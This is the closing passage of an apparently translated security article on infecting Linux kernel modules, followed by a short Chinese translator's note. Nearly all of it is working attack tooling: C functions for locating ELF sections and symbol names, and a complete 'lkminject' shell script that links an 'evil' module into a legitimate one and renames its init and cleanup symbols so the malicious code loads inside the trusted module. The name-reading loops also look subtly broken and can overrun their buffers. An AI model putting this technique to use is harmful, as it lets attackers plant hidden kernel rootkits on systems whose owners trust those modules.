int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable;
/* * Get the section header string table */ ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { return 0; } } return -1; }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek");
while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; }
return 0; }
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek");
while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; }
return (strtable->sh_offset + sym_name); } /* EOF */
----] 9.2 Lkminject
#!/bin/sh # # lkminject by truff (truff@projet7.org) # # Injects a Linux lkm into another one. # # Usage: # ./lkminfect.sh original_lkm.o evil_lkm.c # # Notes: # You have to modify evil_lkm.c as explained bellow: # In the init_module code, you have to insert this line, just after # variables init: # dumm_module (); # # In the cleanup_module code, you have to insert this line, just after # variables init: # dummcle_module (); # # http://www.projet7.org - Security Researchs - ###########################################################################
sed -e s/init_module/evil_module/ $2 > tmp mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp mv tmp $2
# Replace the following line with the compilation line for your evil lkm # if needed. make
ld -r $1 $(basename $2 .c).o -o evil.o
.../elfstrchange evil.o init_module dumm_module .../elfstrchange evil.o evil_module init_module .../elfstrchange evil.o cleanup_module dummcle_module .../elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1 rm elfstrchange
|=[ EOF ]=---------------------------------------------------------------=|
译者的话: 这篇文章总的来说还是比较容易懂的. 原文标题是<感染LKM>. 旅团的Bytes兄弟说 不如"注射"来得贴切, 采纳之. 感谢alert7大哥的建议, 保留了section的专有名称. 感谢各位 旅团兄弟的支持. 最后感谢chaton, 我占用了她的老公好几天^_^ |